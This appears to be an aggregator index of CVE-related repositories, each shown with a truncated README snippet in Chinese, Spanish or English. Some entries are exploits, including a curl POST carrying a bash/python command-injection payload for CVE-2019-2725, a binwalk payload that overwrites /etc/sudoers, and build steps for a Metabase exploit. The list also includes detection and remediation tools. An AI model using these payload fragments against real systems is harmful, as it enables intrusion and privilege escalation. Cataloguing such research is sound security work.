CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 如何使用？ root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646 git:main ✗ g...

cve-2025-29927

Este repositorio no tiene un README...

cve-2013-3900-remediation-report

修复报告：CVE-2013-3900 – Windows Server 2019（Azure VM）上的WinVerifyTrust漏洞 概述 在最近一次使用Tenable Nessus进行的经过身份验证的漏洞评估中，在托管于Microsoft Azure 的Windows Server 2019 虚拟机上检测到了CVE-2013-3900。此次扫描利用了管理员凭据，从而能够深入检查系统的配置和注册表设置。...

cve-2025-32756

Este repositorio no tiene un README...

CPSC253_CybersecurityFinalProjectReports

Introducción Estos documentos fueron parte de mi proyecto final para mi clase de Ciberseguridad: CPSC 253 - Fundamentos y Principios de Ciberseguridad La premisa de mi proyecto final era que era un consultor recién contratado en un centro de investigación y ayudé a optimizar su seguridad alrededo...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Descripción: Microsoft Word CVE-2017-0199 es propenso a un RCE a través de un manejador HTA Existe una vulnerabilidad de ejecución remota de código en la forma en que Microsoft Office y WordPad analizan archivos especialmente diseñados. Un atacante que explotara con...

Cisco_CVE-2023-20198

CVE-2023-20198 Script de verificación CVE-2023-20198 basado en: Technical analysis: https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/ First script version: https://github.com/Atea-Redteam/CVE-2023-20198/ Gracias a Atea Redteam por su trabajo. Requiere: Python3.7+...

BadPfs-CVE-2022-4510

BadPfs Python script that generates pfs payloads to exploit CVE-2022-4510 Simply create a pfs payload using the script. When binwalk is run with -e on the payload, a file can be overwritten with the permission of binwalk. This example will overwrite /etc/sudoers with the contents of ./data when i...

detection-tool-cve-2019-13000

Herramienta de detección para CVE 2019-13000 Una herramienta que detecta si tu nodo ha sido víctima del ataque de transacción de financiamiento inválida. Uso root@kitploit: java -jar checkfunding.jar --db eclair.sqlite Ayuda root@kitploit: $ java -jar checkfunding.jar --help checkfunding 1.0 Usag...

Apple-Safari-Remote-Code-Execution-CVE-2020-27930

Este repositorio no tiene un README...

libssh2-Exploit

libssh2-Exploit Create an exploit to libssh2 vulnerabulity described in CVE-2019-13115 Goals 1. Establish an openssh server. // Complete by Oct 20 2. Create a libssh2 cpp client and establish connectivity to server. // Complete by Oct 20 3. Modify the server to trigger a crash in client. //...

CVE-2026-57161

creationtimestamp| type| source ---|---|--- 2026-09-12 12:37:07+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mvd3urae622c...

CheckFlashPlayerVersion

CheckFlashPlayerVersion Comprueba la versión de FlashPlayer del navegador para verificar si es vulnerable al exploit CVE-2016-7855 Uso: Clona este repositorio y luego abre el archivo html en el navegador donde quieras comprobar la versión de Flash Player...

CVE-2013-4322_PoC

CVE-2013-4322PoC Un simple script Python PoC que demuestra la vulnerabilidad de transmisión lenta por POST con codificación chunked...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Un exploit simple para CVE-2019-2725. Código de ejemplo: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

puppet-shellshock

Este módulo determina la vulnerabilidad de un binario bash a los exploits de shellshock CVE-2014-6271 o CVE-2014-7169 y luego lo parchea cuando sea posible. Plataformas soportadas: Debian 5, 6, 7 Ubuntus 12.04 LTS, 14.04 LTS, 14.10 RHEL/CentOS 5, 6 Uso root@kitploit: class 'shellshock': Facter...

CVE-1999-0016-Land-DOS-tool

CVE-1999-0016-Land-DOS-tool AVISO LEGAL: Esta herramienta es solo con fines educativos. Esta herramienta se puede utilizar para comprobar si un objetivo presenta la vulnerabilidad CVE-1999-0016. La herramienta es de esfuerzo cero, por lo que no es bonita ni maneja errores potenciales. Pero funcio...

CVE-2022-29303

Exploit para CVE-2022-29303 Exploit para CVE-2022-29303 Uso Check against single host root@kitploit: / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c...

CVE-2025-53770

CVE-2025-53770...

joniles__mpxj_CVE-2020-35460_8-3-4

MPXJ ¡Bienvenido a MPXJ! Esta biblioteca proporciona un conjunto de utilidades que permiten manipular información de proyectos en Java, .Net, Ruby y otros lenguajes. La documentación completa, incluidas las notas de la versión, se puede encontrar en línea en http://mpxj.org...